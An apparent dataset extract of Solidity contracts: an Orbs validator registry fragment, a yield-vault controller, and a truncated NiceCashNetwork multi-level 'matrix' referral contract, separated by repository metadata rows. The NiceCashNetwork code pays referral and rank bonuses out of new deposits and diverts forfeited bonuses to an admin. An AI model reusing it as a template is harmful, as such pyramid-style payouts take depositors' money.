/// @dev returns validator registration data.
/// @param validator address address of the validator.
function getValidatorData(address validator)
external
view
returns (string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress);
/// @dev returns the blocks in which a validator was registered and last updated.
/// if validator does not designate a registered validator this method returns zero values.
/// @param validator address of a validator
function getRegistrationBlockNumber(address validator)
external
view
returns (uint registeredOn, uint lastUpdatedOn);
/// @dev Checks if validator is currently registered as a validator.
/// @param validator address address of the validator
/// @return true iff validator belongs to a registered validator
function isValidator(address validator) external view returns (bool);
/// @dev returns the orbs node public address of a specific validator.
/// @param validator address address of the validator
/// @return an Orbs node address
function getOrbsAddress(address validator)
external
view
returns (bytes20 orbsAddress);
}
/// @title Orbs Validators Registry smart contract.
contract OrbsValidatorsRegistry is IOrbsValidatorsRegistry {
// The validator registration data object.
struct ValidatorData {
string name;
bytes4 ipAddress;
string website;
bytes20 orbsAddress;
uint registeredOnBlock;
uint lastUpdatedOnBlock;
}
// The version of the current validators data registration smart contract.
uint public constant VERSION = 1;
// A mapping from validator's Ethereum address to registration data.
mapping(address => ValidatorData) internal validatorsData;
mapping(bytes4 => address) public lookupByIp;
mapping(bytes20 => address) public lookupByOrbsAddr;
/// @dev check that the caller is a validator.
modifier onlyValidator() {
require(isValidator(msg.sender), "You must be a registered validator");
_;
}
/// @dev register a validator and provide registration data.
/// the new validator entry will be owned and identified by msg.sender.
/// if msg.sender is already registered as a validator in this registry the
/// transaction will fail.
/// @param name string The name of the validator
/// @param website string The website of the validator
function register(string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress)
external
{
address sender = msg.sender;
require(bytes(name).length > 0, "Please provide a valid name");
require(bytes(website).length > 0, "Please provide a valid website");
require(!isValidator(sender), "Validator already exists");
require(ipAddress != bytes4(0), "Please pass a valid ip address represented as an array of exactly 4 bytes");
require(orbsAddress != bytes20(0), "Please provide a valid Orbs Address");
require(lookupByIp[ipAddress] == address(0), "IP address already in use");
require(lookupByOrbsAddr[orbsAddress] == address(0), "Orbs Address is already in use by another validator");
lookupByIp[ipAddress] = sender;
lookupByOrbsAddr[orbsAddress] = sender;
validatorsData[sender] = ValidatorData({
name: name,
ipAddress: ipAddress,
website: website,
orbsAddress: orbsAddress,
registeredOnBlock: block.number,
lastUpdatedOnBlock: block.number
});
emit ValidatorRegistered(sender);
}
/// @dev update the validator registration data entry associated with msg.sender.
/// msg.sender must be registered in this registry contract.
/// @param name string The name of the validator
/// @param website string The website of the validator
function update(string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress)
external
onlyValidator
{
address sender = msg.sender;
require(bytes(name).length > 0, "Please provide a valid name");
require(bytes(website).length > 0, "Please provide a valid website");
require(ipAddress != bytes4(0), "Please pass a valid ip address represented as an array of exactly 4 bytes");
require(orbsAddress != bytes20(0), "Please provide a valid Orbs Address");
require(isIpFreeToUse(ipAddress), "IP Address is already in use by another validator");
require(isOrbsAddressFreeToUse(orbsAddress), "Orbs Address is already in use by another validator");
ValidatorData storage data = validatorsData[sender];
// Remove previous key from lookup.
delete lookupByIp[data.ipAddress];
delete lookupByOrbsAddr[data.orbsAddress];
// Set new keys in lookup.
lookupByIp[ipAddress] = sender;
lookupByOrbsAddr[orbsAddress] = sender;
data.name = name;
data.ipAddress = ipAddress;
data.website = website;
data.orbsAddress = orbsAddress;
data.lastUpdatedOnBlock = block.number;
emit ValidatorUpdated(sender);
}
/// @dev deletes a validator registration entry associated with msg.sender.
function leave() external onlyValidator {
address sender = msg.sender;
ValidatorData storage data = validatorsData[sender];
delete lookupByIp[data.ipAddress];
delete lookupByOrbsAddr[data.orbsAddress];
delete validatorsData[sender];
emit ValidatorLeft(sender);
}
/// @dev returns the blocks in which a validator was registered and last updated.
/// if validator does not designate a registered validator this method returns zero values.
/// @param validator address of a validator
function getRegistrationBlockNumber(address validator)
external
view
returns (uint registeredOn, uint lastUpdatedOn)
{
require(isValidator(validator), "Unlisted Validator");
ValidatorData storage entry = validatorsData[validator];
registeredOn = entry.registeredOnBlock;
lastUpdatedOn = entry.lastUpdatedOnBlock;
}
/// @dev returns the orbs node public address of a specific validator.
/// @param validator address address of the validator
/// @return an Orbs node address
function getOrbsAddress(address validator)
external
view
returns (bytes20)
{
return validatorsData[validator].orbsAddress;
}
/// @dev returns validator registration data.
/// @param validator address address of the validator.
function getValidatorData(address validator)
public
view
returns (string memory name,
bytes4 ipAddress,
string memory website,
bytes20 orbsAddress)
{
ValidatorData storage entry = validatorsData[validator];
name = entry.name;
ipAddress = entry.ipAddress;
website = entry.website;
orbsAddress = entry.orbsAddress;
}
/// @dev Checks if validator is currently registered as a validator.
/// @param validator address address of the validator
/// @return true iff validator belongs to a registered validator
function isValidator(address validator) public view returns (bool) {
return validatorsData[validator].registeredOnBlock > 0;
}
/// @dev INTERNAL. Checks if ipAddress is currently available to msg.sender.
/// @param ipAddress bytes4 ip address to check for uniqueness
/// @return true iff ipAddress is currently not registered for any validator other than msg.sender.
function isIpFreeToUse(bytes4 ipAddress) internal view returns (bool) {
return
lookupByIp[ipAddress] == address(0) ||
lookupByIp[ipAddress] == msg.sender;
}
/// @dev INTERNAL. Checks if orbsAddress is currently available to msg.sender.
/// @param orbsAddress bytes20 ip address to check for uniqueness
/// @return true iff orbsAddress is currently not registered for a validator other than msg.sender.
function isOrbsAddressFreeToUse(bytes20 orbsAddress)
internal
view
returns (bool)
{
return
lookupByOrbsAddr[orbsAddress] == address(0) ||
lookupByOrbsAddr[orbsAddress] == msg.sender;
}
}
| 147,277 | 12,482 |
6be6f07e7baa7d2e4434eb0c12edcdf5d3913466d0286f638d76ed47d75603ea
| 40,072 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/d9/d9e13f990240553fd90ed4a2d314a6bc5850e32b_ControllerV3.sol
| 5,486 | 21,606 |
pragma solidity 0.6.12;
interface IController {
function vaults(address) external view returns (address);
function rewards() external view returns (address);
function devfund() external view returns (address);
function treasury() external view returns (address);
function balanceOf(address) external view returns (uint256);
function withdraw(address, uint256) external;
function earn(address, uint256) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IVault is IERC20 {
function token() external view returns (address);
function claimInsurance() external; // NOTE: Only yDelegatedVault implements this
function getRatio() external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function earn() external;
}
interface OneSplitAudit {
function getExpectedReturn(address fromToken,
address toToken,
uint256 amount,
uint256 parts,
uint256 featureFlags)
external
view
returns (uint256 returnAmount, uint256[] memory distribution);
function swap(address fromToken,
address toToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 featureFlags) external payable;
}
interface IStrategy {
function rewards() external view returns (address);
function gauge() external view returns (address);
function want() external view returns (address);
function timelock() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint256, address) external;
function skim() external;
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function harvest() external;
function setTimelock(address) external;
function setController(address _controller) external;
function execute(address _target, bytes calldata _data)
external
payable
returns (bytes memory response);
function execute(bytes calldata _data)
external
payable
returns (bytes memory response);
}
interface Converter {
function convert(address) external returns (uint256);
}
interface IStrategyConverter {
function convert(address _refundExcess, // address to send the excess amount when adding liquidity
address _fromWant,
address _toWant,
uint256 _wantAmount) external returns (uint256);
}
contract ControllerV3 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant burn = 0x000000000000000000000000000000000000dEaD;
address public onesplit = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E;
address public governance;
address public strategist;
address public devfund;
address public treasury;
address public timelock;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
mapping(address => mapping(address => address)) public strategyConverters;
mapping(address => mapping(address => bool)) public approvedStrategies;
uint256 public split = 500;
uint256 public constant max = 10000;
constructor(address _governance,
address _strategist,
address _timelock,
address _devfund,
address _treasury) public {
governance = _governance;
strategist = _strategist;
timelock = _timelock;
devfund = _devfund;
treasury = _treasury;
}
function setDevFund(address _devfund) public {
require(msg.sender == governance, "!governance");
devfund = _devfund;
}
function setTreasury(address _treasury) public {
require(msg.sender == governance, "!governance");
treasury = _treasury;
}
function setStrategist(address _strategist) public {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setSplit(uint256 _split) public {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setTimelock(address _timelock) public {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
function setVault(address _token, address _vault) public {
require(msg.sender == strategist || msg.sender == governance,
"!strategist");
//require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
}
function approveStrategy(address _token, address _strategy) public {
require(msg.sender == timelock, "!timelock");
approvedStrategies[_token][_strategy] = true;
}
function revokeStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = false;
}
function setConverter(address _input,
address _output,
address _converter) public {
require(msg.sender == strategist || msg.sender == governance,
"!strategist");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
require(msg.sender == strategist || msg.sender == governance,
"!strategist");
require(approvedStrategies[_token][_strategy] == true, "!approved");
address _current = strategies[_token];
if (_current != address(0)) {
//IStrategy(_current).withdrawAll();
}
strategies[_token] = _strategy;
}
function earn(address _token, uint256 _amount) public {
address _strategy = strategies[_token];
require(approvedStrategies[_token][_strategy] == true, "!approved");
address _want = IStrategy(_strategy).want();
if (_want != _token) {
address converter = converters[_token][_want];
IERC20(_token).safeTransfer(converter, _amount);
_amount = Converter(converter).convert(_strategy);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
IStrategy(_strategy).deposit();
}
function balanceOf(address _token) external view returns (uint256) {
return IStrategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _token) public {
require(msg.sender == strategist || msg.sender == governance,
"!strategist");
IStrategy(strategies[_token]).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint256 _amount) public {
require(msg.sender == strategist || msg.sender == governance,
"!governance");
IERC20(_token).safeTransfer(msg.sender, _amount);
}
function inCaseStrategyTokenGetStuck(address _strategy, address _token)
public
{
require(msg.sender == strategist || msg.sender == governance,
"!governance");
IStrategy(_strategy).withdraw(_token);
}
function getExpectedReturn(address _strategy,
address _token,
uint256 parts) public view returns (uint256 expected) {
uint256 _balance = IERC20(_token).balanceOf(_strategy);
address _want = IStrategy(_strategy).want();
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token,
_want,
_balance,
parts,
0);
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy,
address _token,
uint256 parts) public {
require(msg.sender == strategist || msg.sender == governance,
"!governance");
// This contract should never have value in it, but just incase since this is a public call
uint256 _before = IERC20(_token).balanceOf(address(this));
IStrategy(_strategy).withdraw(_token);
uint256 _after = IERC20(_token).balanceOf(address(this));
if (_after > _before) {
uint256 _amount = _after.sub(_before);
address _want = IStrategy(_strategy).want();
uint256[] memory _distribution;
uint256 _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit)
.getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token,
_want,
_amount,
_expected,
_distribution,
0);
_after = IERC20(_want).balanceOf(address(this));
if (_after > _before) {
_amount = _after.sub(_before);
uint256 _treasury = _amount.mul(split).div(max);
earn(_want, _amount.sub(_treasury));
IERC20(_want).safeTransfer(treasury, _treasury);
}
}
}
function withdraw(address _token, uint256 _amount, address _txSender) public {
require(msg.sender == vaults[_token], "!vault");
IStrategy(strategies[_token]).withdraw(_amount, _txSender);
}
}
| 73,925 | 12,483 |
2c819bbbf8b883adaeb13e99cc14045c1e51062e8c5f2a3267d7722f6c96ce02
| 16,034 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TD29ovKXiTnbM8wqN5npyJgwmjh6UqG58h_NiceCashNetwork.sol
| 4,488 | 15,978 |
//SourceUnit: nicecashnetwork1.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c=a+b;
require(c>=a,"addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b<=a,"subtraction overflow");
uint256 c=a-b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a==0) return 0;
uint256 c=a*b;
require(c/a==b,"multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b>0,"division by zero");
uint256 c=a/b;
return c;
}
}
interface Token {
function decimals() view external returns (uint8 _decimals);
function balanceOf(address _owner) view external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _amount) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
}
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address payable public owner;
address payable newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract NiceCashNetwork is Owned{
using SafeMath for uint256;
uint16 public matrixShare;
uint16[3] public passiveShare;
uint16 public teamShare;
address payable root;
address payable[3] public passiveShareAdr;
address payable public teamShareAdr;
address payable public infinityAdr;
uint public rate;
uint8 public pack;
uint8 public packs;
uint16[] public matrixBonuses;
uint8[] public qualified;
uint16[] public rankBonuses;
uint8[] public rankTeam;
uint16 public personalBonus;
uint16 public rankBonus;
uint[] public rankedUsers;
uint8 public infinityBonus;
uint8 public cols;
uint8 public rows;
address payable admin;
bool public isLocked;
bool public useTrx;
bool public isPaused;
Token public token;
mapping (address=>User) public users;
mapping (address=>Matrix[10]) public matrix;
struct User{
address payable ref;
uint256 deposit;
uint8 pack;
uint8 rank;
uint frontline;
uint[6] team;
uint256[10] packLocked;
uint256[10] teamLocked;
uint lastPackLocked;
uint lastTeamLocked;
bool vip;
}
struct Matrix{
address payable ref;
uint start;
uint8 team;
address[3] frontline;
}
//events
event Deposit(address indexed _from,uint256 _amount, uint8 _pack);
event SystemDeposit(address indexed _from,uint256 _amount, uint8 _pack);
event Upgrade(address indexed _from, address indexed _ref, uint256 _amount, uint8 _pack);
event Bonus(address indexed _to, uint8 _type, uint256 _amount);
event NewRank(address indexed _user,uint8 _rank);
event Locked(address indexed _user, uint8 _pack, uint256 _amount);
event Unlocked(address indexed _user, uint8 _pack, uint256 _amount);
event Lost(address indexed _user, uint8 _pack, uint256 _amount);
modifier isAdmin() {
require(msg.sender==admin);
_;
}
constructor(address payable _owner, address payable _admin, address payable _root, address _token, address payable _passiveShareAdr1, address payable _passiveShareAdr2, address payable _passiveShareAdr3) public{
matrixShare = 4500;//% 10**2
passiveShare = [2000,1500,1500];//% 10**2
teamShare = 500;//% 10**2
rate = 1000000;//SUNs in 1 USD
pack = 128;//pack price USD
packs = 10;//10 packs
cols = 3;//matrix width
rows = 10;//matrix depth
matrixBonuses = [500,500,400,300,300,200,200,200,400,400];//matrix bonuses % 10**2
qualified = [0,0,3,4,5,6,7,8,9,10];//personal refs to unlock matrix bonus
rankBonuses = [0,100,200,300,400,500];//rank % 10**2
rankTeam = [3,3,3,3,3];//min teams for ranks
rankedUsers = [0,0,0,0,0,0];
personalBonus = 500;//% 10**2
rankBonus = 500;//% 10**2
infinityBonus = 200;//infinity bonus % 10**2
owner = _owner;
admin = _admin;
root = _root;
users[root].ref = root;
users[root].pack = packs-1;
users[root].rank = 5;
passiveShareAdr[0] = _passiveShareAdr1;
passiveShareAdr[1] = _passiveShareAdr2;
passiveShareAdr[2] = _passiveShareAdr3;
infinityAdr = admin;
teamShareAdr = root;
token = Token(_token);
useTrx = false;
isPaused = false;
isLocked = false;
}
receive() external payable {
revert();
}
function deposit(address _user,uint8 _pack) public payable returns(bool){
//check if SC isPaused
require(!isPaused,"s is paused");
//check user address
require(_user!=address(0),"wrong user");
//check user pack
require(_pack>=0&&_pack<packs,"wrong pack");
require(users[_user].pack<packs-1,"max pack");
if (_pack>0) require(_pack-users[_user].pack==1&&matrix[_user][_pack-1].start>0,"wrong next pack");
else require(matrix[_user][_pack].start==0,"user is in matrix");
//check user has deposit
require(users[_user].deposit==0,"has deposit");
//check pack amount
uint256 _price;
uint256 _paid;
if (useTrx) {
_price = uint256(pack)*2**uint256(_pack)*10**6/rate;
_paid = msg.value;
require(_paid>=_price,"wrong pack amount");
}
else {
_price = uint256(pack)*2**uint256(_pack)*10**uint256(token.decimals());
_paid = _price;
require(token.balanceOf(msg.sender)>=_price,"low token balance");
require(token.allowance(msg.sender,address(this))>=_price,"low token allowance");
token.transferFrom(msg.sender,address(this),_paid);
}
//add users deposit
users[_user].deposit += _paid;
//emit event
if (msg.sender!=admin) emit Deposit(_user,_paid,_pack);
else emit SystemDeposit(_user,_paid,_pack);
return true;
}
function upgrade(address payable _user, address payable _ref,address payable _matrix) public returns(bool){
//check if SC isPaused
require(!isPaused,"sc is paused");
//check reentrancy lock
require(!isLocked,"reentrancy lock");
isLocked = true;
//check user
require(_user!=address(0)&&_user!=root&&_user!=_ref&&_user!=_matrix,"wrong user");
//check pack
uint8 _pack = users[_user].pack;
require(_pack<packs-1,"max pack");
if (matrix[_user][_pack].start>0) _pack++;
//check personal ref
if (_ref!=root) require(_ref!=address(0)&&users[_ref].ref!=address(0),"wrong personal ref");
//check matrix ref
if (_matrix!=root) require(_matrix!=address(0)&&matrix[_matrix][_pack].start>0,"wrong matrix ref");
else if (matrix[root][_pack].start==0) matrix[root][_pack].start = block.timestamp;
//check ref frontline
require (matrix[_matrix][_pack].team<cols,"frontline is full");
//check deposit
require(users[_user].deposit>0,"no deposit");
//check SC balance
if (useTrx) require (address(this).balance>=users[_user].deposit,"low TRX balance");
else require(token.balanceOf(address(this))>=users[_user].deposit,"low token balance");
//define vars
uint8 i=0;
uint256 _value = users[_user].deposit;
uint256 _bonus = 0;
uint256 _payout = 0;
address payable _nextRef;
//update user
users[_user].ref = _ref;
users[_user].pack = _pack;
users[_user].vip = false;
//unlock pack locked bonuses for user
if (users[_user].packLocked[_pack]>0) {
if (!users[_user].vip&&block.timestamp-users[_user].lastPackLocked>=2592000) {
_sendBonus(admin,0,users[_user].packLocked[_pack]);
emit Lost(_user,pack,users[_user].packLocked[_pack]);
}
else {
_sendBonus(_user,0,users[_user].packLocked[_pack]);
emit Unlocked(_user,_pack,users[_user].packLocked[_pack]);
}
users[_user].packLocked[_pack] = 0;
}
//update rank for user
_updateUserRank(_user,_pack);
//add rank0 matrix2 team
if (_pack==2&&users[_user].rank==0) users[_ref].team[users[_user].rank]++;
//update sponsor frontline
if (_pack==0) {
users[_ref].frontline++;
//unlock team locked bonuses
for(i=0;i<rows;i++){
if (users[_ref].frontline<qualified[i]||users[_ref].teamLocked[i]==0) continue;
_bonus+=users[_ref].teamLocked[i];
users[_ref].teamLocked[i] = 0;
}
if (_bonus>0) {
if (!users[_ref].vip&&block.timestamp-users[_ref].lastTeamLocked>=2592000) {
_sendBonus(admin,0,_bonus);
emit Lost(_ref,pack,_bonus);
}
else {
_sendBonus(_ref,0,_bonus);
emit Unlocked(_ref,0,_bonus);
}
}
}
//check sponsor rank update
_updateUserRank(_ref,_pack);
//place user into matrix
matrix[_user][_pack].ref = _matrix;
matrix[_user][_pack].start = block.timestamp;
//update matrix ref
matrix[_matrix][_pack].frontline[matrix[_matrix][_pack].team] = _user;
matrix[_matrix][_pack].team++;
//personal bonus
_bonus = (_value.mul(personalBonus)).div(10**4);
if (_ref==root||matrix[_ref][_pack].start>0) _sendBonus(_ref,1,_bonus);
else {
users[_ref].packLocked[_pack]+=_bonus;
users[_ref].lastPackLocked = block.timestamp;
emit Locked(_ref,_pack,_bonus);
}
_payout = _payout.add(_bonus);
//rank bonus
_nextRef = _ref;
uint16[4] memory _data = [0,rankBonus,0,30];//[maxRank,maxBonus,bonusDiff,maxUp]
while (_data[1]>0) {
_data[2] = rankBonuses[users[_nextRef].rank] - rankBonuses[_data[0]];
if (_data[2]>0) {
_data[0] = users[_nextRef].rank;
if (_data[2]>_data[1]) _data[2] = _data[1];
_bonus = (_value.mul(_data[2])).div(10**4);
if (_bonus>0) {
_sendBonus(_nextRef,2,_bonus);
_payout = _payout.add(_bonus);
}
_data[1] -= _data[2];
}
_nextRef = users[_nextRef].ref;
if (_nextRef==root) break;
if (_data[3]>0) _data[3]--;
else break;
}
//matrix bonus
_nextRef = _matrix;
for(i=0;i<rows;i++){
_bonus = (_value.mul(matrixBonuses[i])).div(10**4);
if (_bonus==0) break;
//lock bonus if user is not qualified with n personal refs
if (_nextRef!=root&&users[_nextRef].frontline<qualified[i]&&!users[_nextRef].vip) {
users[_nextRef].teamLocked[i]+=_bonus;
users[_nextRef].lastTeamLocked = block.timestamp;
emit Locked(_nextRef,0,_bonus);
}
else _sendBonus(_nextRef,3,_bonus);
_payout = _payout.add(_bonus);
if (_nextRef==root) break;
_nextRef = matrix[_nextRef][_pack].ref;
}
//infinity bonus
_bonus = (_value.mul(infinityBonus)).div(10**4);
_sendBonus(infinityAdr,0,_bonus);
_payout = _payout.add(_bonus);
//passive share
for (i=0;i<passiveShare.length;i++) {
_bonus = (_value.mul(passiveShare[i])).div(10**4);
